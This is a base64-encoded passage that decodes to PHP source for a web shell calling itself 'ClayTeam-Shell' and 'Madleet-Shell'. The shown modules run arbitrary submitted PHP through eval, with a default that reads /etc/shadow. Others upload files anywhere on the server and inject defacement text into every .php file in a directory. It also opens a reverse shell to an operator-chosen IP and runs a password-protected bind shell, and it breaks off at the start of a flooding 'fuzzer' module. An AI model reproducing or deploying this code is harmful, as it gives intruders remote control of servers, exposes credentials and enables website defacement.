0gCgoKLy8gUEhQIGV2YWx1YXRlIAoKZWxzZSBpZihpc3NldCgkX0dFVFsnZXZhbCddKSkgCnsgCiAgICA/PiAKICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+IAogICAgPHRleHRhcmVhIG5hbWU9ImNvZGUiIGNsYXNzPSJjbWQiIGNvbHM9IjEwMCIgcm93cz0iMjAiPjw/cGhwIAogICAgLy8gSWYgdGhlIGNvbWFuZCB3YXMgc2VudCAKICAgIGlmKGlzc2V0KCRfUE9TVFsnY29kZSddKSAKICAgICAgICAmJiAkX1BPU1RbJ2NvZGUnXSAKICAgICkgCiAgICB7IAogICAgICAgIC8vIEZJbHRlciBTb21lIENoYXJzIHdlIGRvbnQgbmVlZCAKCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPD9waHAiLCIiLCRfUE9TVFsnY29kZSddKTsgCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPD8iLCIiLCRjb2RlKTsgCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPz4iLCIiLCRjb2RlKTsgCgogICAgICAgIC8vIEV2YWx1YXRlIFBIUCBDb0RFISAKCiAgICAgICAgaHRtbHNwZWNpYWxjaGFycyhldmFsKCRjb2RlKSk7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9zaGFkb3cnKTs8P3BocCAKICAgIH0gCiAgICA/PjwvdGV4dGFyZWE+PGJyIC8+PGJyIC8+IAogICAgPGlucHV0IG5hbWU9InN1Ym1pdCIgdmFsdWU9IkV2YWwgVGhhdCBDT2RlISA6RCIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiAvPiAKICAgIDwvZm9ybT4gCiAgICA8P3BocCAKICAgICAKfSAKCi8vIFVwbG9hZCAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgCnsgCgogICAgaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiAKICAgICAgICBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgIAogICAgICkgCiAgICB7IAogICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ107IAogICAgICAgICAgICAgCiAgICAgICAgaWYoJHBhdGhbKHN0cmxlbigkcGF0aCktMSldICE9ICRTRVBBUkFUT1IpeyRwYXRoID0gJHBhdGguJFNFUEFSQVRPUjt9IAogICAgICAgICAKICAgICAgICBpZihpc19kaXIoJHBhdGgpKSAKICAgICAgICB7IAogICAgICAgICAgICAkdXBsb2FkZWRGaWxlUGF0aCA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOyAKICAgICAgICAgICAgJHRlbXBOYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOyAKICAgICAgICAgICAgJHVwbG9hZFBhdGggPSAkcGF0aCAuICAkdXBsb2FkZWRGaWxlUGF0aDsgCiAgICAgICAgICAgICRzdGF0ID0gbW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wTmFtZSAsICR1cGxvYWRlZEZpbGVQYXRoKTsgCiAgICAgICAgICAgIGlmICgkc3RhdCkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nd2FybmluZyc+RmlsZSB1cGxvYWRlZCB0byAkdXBsb2FkUGF0aDwvcD4iOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSd3YXJuaW5nJyA+IDooIDonKCBGYWlsZWQgdG8gdXBsb2FkIGZpbGUgdG8gJHVwbG9hZFBhdGg8L3A+IjsgCiAgICAgICAgICAgIH0gCiAgICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICA/PiAKICAgIDx0YWJsZSBjbGFzcz0iYmluZCIgYWxpZ249ImNlbnRlciIgPiAKICAgIDx0cj4gCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5VcGxvYWQgKEZyb20gdXIgQ29tcHV0ZXIpPC90aD4gCiAgICA8L3RyPiAKICAgIDx0cj4gCiAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iYm9yZGVyLXNwYWNpbmc6IDZweDsiPiAKICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwMCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiLz48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZmlsZSIgY2xhc3M9Im93biIgdmFsdWU9IlVwbG9hZCIvPjwvdGQ+IAogICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nY21kJyBzdHlsZT0id2lkdGg6IDI4MHB4OyIgbmFtZT0ncGF0aCcgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+IiAvPiAgICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPC9mb3JtPiAKICAgICAgICAgICAgPC90YWJsZT4gCiAgICAgICAgIDwvdGQ+IAogICAgPC90cj4gCiAgICA8L3RhYmxlPiAKPD9waHAgCiAgICB9IAoKfSAKCi8vIENvZGUgSW5qZWN0b3IgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydpbmplY3RvciddKSkgCnsgCiAgICBpZihpc3NldCgkX0dFVFsnZGlyJ10pICYmIAogICAgJF9HRVRbJ2RpciddICE9ICcnICYmIAogICAgaXNzZXQoJF9HRVRbJ2ZpbGV0eXBlJ10pICYmIAogICAgJF9HRVRbJ2ZpbGV0eXBlJ10gIT0gJycgJiYgCiAgICBpc3NldCgkX0dFVFsnbW9kZSddKSAmJiAKICAgICRfR0VUWydtb2RlJ10gIT0gJycgJiYgIAogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgCiAgICAkX0dFVFsnbWVzc2FnZSddICE9ICcnICAKICAgICkgCiAgICB7IAogICAgICAgICRkaXIgPSAkX0dFVFsnZGlyJ107IAogICAgICAgICRmaWxldHlwZSA9ICRfR0VUWydmaWxldHlwZSddOyAKICAgICAgICAkbWVzc2FnZSA9ICRfR0VUWydtZXNzYWdlJ107IAogICAgICAgICAKICAgICAgICAkbW9kZSA9ICJhIjsgLy9kZWZhdWx0IG1vZGUgCiAgICAgICAgIAogICAgICAgICAKICAgICAgICAvLyBNb2RlcyBCZWdpbiAKICAgICAgICAgCiAgICAgICAgaWYoJF9HRVRbJ21vZGUnXSA9PSAnQXBlbmRlcicpIAogICAgICAgIHsgCiAgICAgICAgICAgICRtb2RlID0gImEiOyAKICAgICAgICB9IAogICAgICAgIGlmKCRfR0VUWydtb2RlJ10gPT0gJ092ZXJ3cml0ZXInKSAKICAgICAgICB7IAogICAgICAgICAgICAkbW9kZSA9ICJ3IjsgCiAgICAgICAgfSAKICAgICAgICAgCiAgICAgICAgaWYoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcikpIAogICAgICAgIHsgCiAgICAgICAgICAgID8+IAogICAgICAgICAgICBPdmVyd3JpdHRlbiBGaWxlcyA6LSAKICAgICAgICAgICAgPHVsIHN0eWxlPSJwYWRkaW5nOiAxMHB4OyIgPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgICAgIHdoaWxlKCgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpICE9PSBGYWxzZSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBpZigocHJlZ19tYXRjaCgiLyRmaWxldHlwZSIuJyQnLicvJywgJGZpbGUgLCAkbWF0Y2hlcykgIT0gMCkgJiYgKHByZWdfbWF0Y2goJy8nLiRmaWxlLickLycsICRzZWxmICwgJG1hdGNoZXMpICE9IDEpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgPz4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iZmlsZSI+PGEgaHJlZj0iPD9waHAgZWNobyAiJHNlbGY/b3Blbj0kZGlyJGZpbGUiPz4iPjw/cGhwIGVjaG8gJGZpbGU7ID8+PC9hPjwvbGk+IAogICAgICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIjsgCiAgICAgICAgICAgICAgICAgICAgJGZkID0gZm9wZW4oJGRpci4kZmlsZSwkbW9kZSk7IAogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZmQsJG1lc3NhZ2UpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgID8+IAogICAgICAgICAgICA8L3VsPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICA/PiAKICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiID4gCiAgICAgICAgPHRyPiAKICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdHRVQnPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaW5qZWN0b3IiLz4gICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBEaXJlY3RvcnkgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpLiRTRVBBUkFUT1I7ID8+IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICBNb2RlIAogICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogNDAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iY21kIj4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJBcGVuZGVyIj5BcGVuZGVyPC9vcHRpb24+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iT3ZlcndyaXRlciI+T3ZlcndyaXRlcjwvb3B0aW9uPiAKICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+IAogICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBGaWxlIFR5cGUgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9ImZpbGV0eXBlIiB2YWx1ZT0iLnBocCIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScucGhwJzsiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5BbGwgaSByZW1lbWJlciBhcmUgdGhvc2UgbG9uZWx5IG5pZ2h0cyB3aGVuIGkgd2FzIGRlZmFjaW5nIHRob3NlIGluc2VjdXJlIHdlYnNpdGVzITwvdGV4dGFyZWE+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDM5MHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iSW5qZWN0IDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgPC9mb3JtPiAKICAgICAgICA8L3RhYmxlPiAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCi8vIENvbm5lY3QgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydjb25uZWN0J10pKSAKeyAKICAgIGlmKGlzc2V0KCRfUE9TVFsnaXAnXSkgJiYgCiAgICAgaXNzZXQoJF9QT1NUWydwb3J0J10pICYmICAKICAgICAgICAkX1BPU1RbJ2lwJ10gIT0gIiIgJiYgCiAgICAgICAgJF9QT1NUWydwb3J0J10gIT0gIiIgCiAgICAgKSAKICAgIHsgCiAgICAgICAgZWNobyAiPHA+VGhlIFByb2dyYW0gaXMgbm93IHRyeWluZyB0byBjb25uZWN0ITwvcD4iOyAKICAgICAgICAkaXAgPSAkX1BPU1RbJ2lwJ107ICAKICAgICAgICAkcG9ydD0kX1BPU1RbJ3BvcnQnXTsgIAogICAgICAgICRzb2NrZmQ9ZnNvY2tvcGVuKCRpcCAsICRwb3J0ICwgJGVycm5vLCAkZXJyc3RyICk7ICAKICAgICAgICBpZigkZXJybm8gIT0gMCkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+PGI+JGVycm5vPC9iPiA6ICRlcnJzdHI8L2ZvbnQ+IjsgCiAgICAgICAgfSAKICAgICAgICBlbHNlIGlmICghJHNvY2tmZCkgCiAgICAgICAgeyAgCiAgICAgICAgICAgICAgICRyZXN1bHQgPSAiPHA+RmF0YWwgOiBBbiB1bmV4cGVjdGVkIGVycm9yIHdhcyBvY2N1cmVkIHdoZW4gdHJ5aW5nIHRvIGNvbm5lY3QhPC9wPiI7IAogICAgICAgIH0gIAogICAgICAgIGVsc2UgCiAgICAgICAgeyAgCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuQ2xheVRlYW0tU2hlbGwgfCBDMGQzZCBieSBXaG9BbWkgfCBUdW5pc2lhXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOyAKICAgICAgICAgJHB3ZCA9IGV4ZWNfYWxsKCJwd2QiKTsgCiAgICAgICAgICRzeXNpbmZvID0gZXhlY19hbGwoInVuYW1lIC1hIik7IAogICAgICAgICAkaWQgPSBleGVjX2FsbCgiaWQiKTsgCiAgICAgICAgICRkYXRlQW5kVGltZSA9IGV4ZWNfYWxsKCJ0aW1lIC90ICYgZGF0ZSAvVCIpOyAKICAgICAgICAgJGxlbiA9IDEzMzc7IAogICAgICAgICBmcHV0cygkc29ja2ZkICwkc3lzaW5mbyAuICJcbiIgKTsgCiAgICAgICAgIGZwdXRzKCRzb2NrZmQgLCRwd2QgLiAiXG4iICk7IAogICAgICAgICBmcHV0cygkc29ja2ZkICwkaWQgLiJcblxuIiApOyAKICAgICAgICAgZnB1dHMoJHNvY2tmZCAsJGRhdGVBbmRUaW1lLiJcblxuIiApOyAKICAgICAgICAgd2hpbGUoIWZlb2YoJHNvY2tmZCkpIAogICAgICAgICB7ICAgCiAgICAgICAgICAgICRjbWRQcm9tcHQgPSIoQ2xheVRlYU0tU2hlbGwpWyRdPiAiOyAKICAgICAgICAgICAgZnB1dHMgKCRzb2NrZmQgLCAkY21kUHJvbXB0ICk7ICAKICAgICAgICAgICAgJGNvbW1hbmQ9IGZnZXRzKCRzb2NrZmQsICRsZW4pOyAKICAgICAgICAgICAgZnB1dHMoJHNvY2tmZCAsICJcbiIgLiBleGVjX2FsbCgkY29tbWFuZCkgLiAiXG5cbiIpOyAKICAgICAgICB9ICAKICAgICAgICBmY2xvc2UoJHNvY2tmZCk7ICAKICAgICAgICB9ICAKICAgIH0gCiAgICBlbHNlIGlmKCAKICAgIGlzc2V0KCRfUE9TVFsncG9ydCddKSAmJiAKICAgIGlzc2V0KCRfUE9TVFsncGFzc3dkJ10pICYmICAKICAgICRfUE9TVFsncG9ydCddICE9ICIiICYmIAogICAgJF9QT1NUWydwYXNzd2QnXSAhPSAiIiAgKSAKICAgIHsgCiAgICAgICAgLy8gU2V0IHRpbWUgbGltaXQgdG8gaW5kZWZpbml0ZSBleGVjdXRpb24gCiAgICAgICAgc2V0X3RpbWVfbGltaXQgKDApOyAKICAgICAgICAgCiAgICAgICAgIAogICAgICAgIC8vIFNldCB0aGUgaXAgYW5kIHBvcnQgd2Ugd2lsbCBsaXN0ZW4gb24gCiAgICAgICAgJGFkZHJlc3MgPSAnMTI3LjAuMC4xJzsgCiAgICAgICAgJHBvcnQgPSAkX1BPU1RbJ3BvcnQnXTsgCiAgICAgICAgJHBhc3MgPSAkX1BPU1RbJ3Bhc3N3ZCddOyAKCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCJzb2NrZXRfY3JlYXRlIikpIAogICAgICAgIHsgCiAgICAgICAgLy8gQ3JlYXRlIGEgVENQIFN0cmVhbSBzb2NrZXQgCiAgICAgICAgJHNvY2tmZCA9IHNvY2tldF9jcmVhdGUoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAKCiAgICAgICAKICAgICAgICAvLyBCaW5kIHRoZSBzb2NrZXQgdG8gYW4gYWRkcmVzcy9wb3J0IAogICAgICAgICAKICAgICAgICAgCiAgICAgICAgaWYoc29ja2V0X2JpbmQoJHNvY2tmZCwgJGFkZHJlc3MsICRwb3J0KSA9PSBGQUxTRSkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiQ2FudCBCaW5kIHRvIHRoZSBzcGVjaWZpZWQgcG9ydCBhbmQgYWRkcmVzcyEiOyAKICAgICAgICB9IAogICAgICAgIC8vIFN0YXJ0IGxpc3RlbmluZyBmb3IgY29ubmVjdGlvbnMgCiAgICAgICAgc29ja2V0X2xpc3Rlbigkc29ja2ZkLDE1KTsgCiAgICAgICAgIAogICAgIAogICAgICAgICRwYXNzd29yZFByb21wdCA9ICJcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG5DbGF5VGVhbS1TaGVsbCB8IEMwZDNkIGJ5IFdob0FtaSB8IFR1bmlzaWFcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG5cbjB4UGFzc3dvcmQgOiAiOyAKICAgICAgICAgCiAgICAgICAgLyogQWNjZXB0IGluY29taW5nIHJlcXVlc3RzIGFuZCBoYW5kbGUgdGhlbSBhcyBjaGlsZCBwcm9jZXNzZXMgKi8gCiAgICAgICAgJGNsaWVudCA9IHNvY2tldF9hY2NlcHQoJHNvY2tmZCk7IAogICAgICAgICAKCiAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAkcGFzc3dvcmRQcm9tcHQpOyAKICAgICAgICAvLyBSZWFkIHRoZSBwYXNzIGZyb20gdGhlIGNsaWVudCAKICAgICAgICAkaW5wdXQgPSBzb2NrZXRfcmVhZCgkY2xpZW50LCBzdHJsZW4oJHBhc3MpICsgMik7IC8vICsyIGZvciBcclxuIAogICAgICAgIGlmKHRyaW0oJGlucHV0KSA9PSAkcGFzcykgCiAgICAgICAgeyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAiXG5cbiIpOyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAoJG9zID09ICJXaW5kb3dzIikgPyBleGVjX2FsbCgiZGF0ZSAvdCAmIHRpbWUgL3QiKSAgLiAiXG4iIC4gZXhlY19hbGwoInZlciIpIDogZXhlY19hbGwoImRhdGUiKSAuICJcbiIgLiBleGVjX2FsbCgidW5hbWUgLWEiKSk7IAogICAgICAgICAgICBzb2NrZXRfd3JpdGUoJGNsaWVudCAsICJcblxuIik7IAogICAgICAgICAgICB3aGlsZSgxKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIC8vIFByaW50IENvbW1hbmQgcHJvbXB0IAogICAgICAgICAgICAgICAgJGNvbW1hbmRQcm9tcHQgPSIoTWFkbGVldC1TaGVsbClbJF0+ICI7IAogICAgICAgICAgICAgICAgJG1heENtZExlbiA9IDMxMzM3OyAKICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50LCRjb21tYW5kUHJvbXB0KTsgCiAgICAgICAgICAgICAgICAkY21kID0gc29ja2V0X3JlYWQoJGNsaWVudCwkbWF4Q21kTGVuKTsgCiAgICAgICAgICAgICAgICBpZigkY21kID09IEZBTFNFKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgZWNobyAiVGhlIGNsaWVudCBDbG9zZWQgdGhlIGNvbmVjdGlvbiEiOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCBleGVjX2FsbCgkY21kKSk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgZWxzZSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICJXcm9uZyBQYXNzd29yZCEiOyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQsICJzVSh8PCAtIDBGRiBCaXRjaCFcblxuIik7IAogICAgICAgIH0gCiAgICAgICAgc29ja2V0X3NodXRkb3duKCRjbGllbnQsIDIpOyAKICAgICAgICBzb2NrZXRfY2xvc2UoJHNvY2tldCk7IAogICAgICAgICAKICAgICAgICAvLyBDbG9zZSB0aGUgY2xpZW50IChjaGlsZCkgc29ja2V0IAogICAgICAgIC8vc29ja2V0X2Nsb3NlKCRjbGllbnQpOyAKICAgICAgICAvLyBDbG9zZSB0aGUgbWFzdGVyIHNvY2tldHMgCiAgICAgICAgLy9zb2NrZXRfY2xvc2UoJHNvY2spOyAKICAgICAgICB9IAogICAgICAgIGVsc2UgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiU29ja2V0IENvbmVjdGlvbnMgbm90IEFsbG93ZWQvU3VwcG9ydGVkIGJ5IHRoZSBzZXJ2ZXIhIDxiciAvPiI7IAogICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICA/PiAgICAgICAgCiAgICA8dGFibGUgY2xhc3M9ImJpbmQiIGFsaWduPSJjZW50ZXIiID4gCiAgICA8dHI+IAogICAgICAgIDx0aCBjbGFzcz0iaGVhZGVyIiBjb2xzcGFuPSIxIiB3aWR0aD0iNTBweCI+QmFjayBDb25uZWN0PC90aD4gCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5CaW5kIFNoZWxsPC90aD4gCiAgICA8L3RyPiAKICAgIDx0cj4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJyA+ICAgCiAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iYm9yZGVyLXNwYWNpbmc6IDZweDsiPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkPklQIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0iaXAiIHZhbHVlPSI8P3BocCBnZXRDbGllbnRJcCgpOz8+IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UG9ydCA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBjbGFzcz0iY21kIiBuYW1lPSJwb3J0IiBzaXplPSc1JyB2YWx1ZT0iMzEzMzciLz4mbmJzcDsmbmJzcDs8aW5wdXQgc3R5bGU9IndpZHRoOiA5MHB4OyIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCEiLz48L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8L3RhYmxlPiAKICAgICAgICAgPC90ZD4gCiAgICAgICAgIDwvZm9ybT4gIAogICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPiAKICAgICAgICAgPHRkPiAKICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UG9ydDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjEzMzciIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZD5QYXNzd2QgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6IDEwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0icGFzc3dkIiBzaXplPSc1JyB2YWx1ZT0iTWFkbGVldCIvPiZuYnNwOyZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6IDkwcHg7IiBjbGFzcz0ib3duIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCaW5kIDpEISIvPjwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgIDwvdGFibGU+IAogICAgICAgICA8L3RkPiAKICAgICAgICAgPC9mb3JtPiAKICAgIDwvdHI+IAogICAgPC90YWJsZT4gCiAgICA8cCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iY29sb3I6IHJlZDsiID5Ob3RlIDogQWZ0ZXIgY2xpY2tpbmcgU3VibWl0IGJ1dHRvbiAsIFRoZSBicm93c2VyIHdpbGwgc3RhcnQgbG9hZGluZyBjb250aW51b3VzbHkgLCBEb250IGNsb3NlIHRoaXMgd2luZG93ICwgVW5sZXNzIHlvdSBhcmUgZG9uZSE8L3A+IAo8P3BocCAKICAgIH0gCn0gCgovL2Z1enplciAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2Z1enonXSkpIAp7IAogICAgaWYoaXNzZXQoJF9HRVRbJ2lwJ10pICYmIAogICAgaXNzZXQoJF9HRVRbJ3BvcnQnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsndGltZXMnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsndGltZSddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydtZXNzYWdlJ10pICYmIAogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2VNdWx0aXBsaWVyJ10pICYmIAogICAgJF9HRVRbJ21lc3NhZ2UnXSAhPSAiIiAmJiAKICAgICRfR0VUWyd0aW1lJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsndGltZXMnXSAhPSAiIiAmJiAKICAgICRfR0VUWydwb3J0J10gIT0gIiIgJiYgCiAgICAkX0dFVFsnaXAnXSAhPSAiIiAmJiAKICAgICRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddICE9ICIiIAogICAgKSAKICAgIHsgCiAgICAgICAkSVA9JF9HRVRbJ2lwJ107IAogICAgICAgJHBvcnQ9JF9HRVRbJ3BvcnQnXTsgCiAgICAgI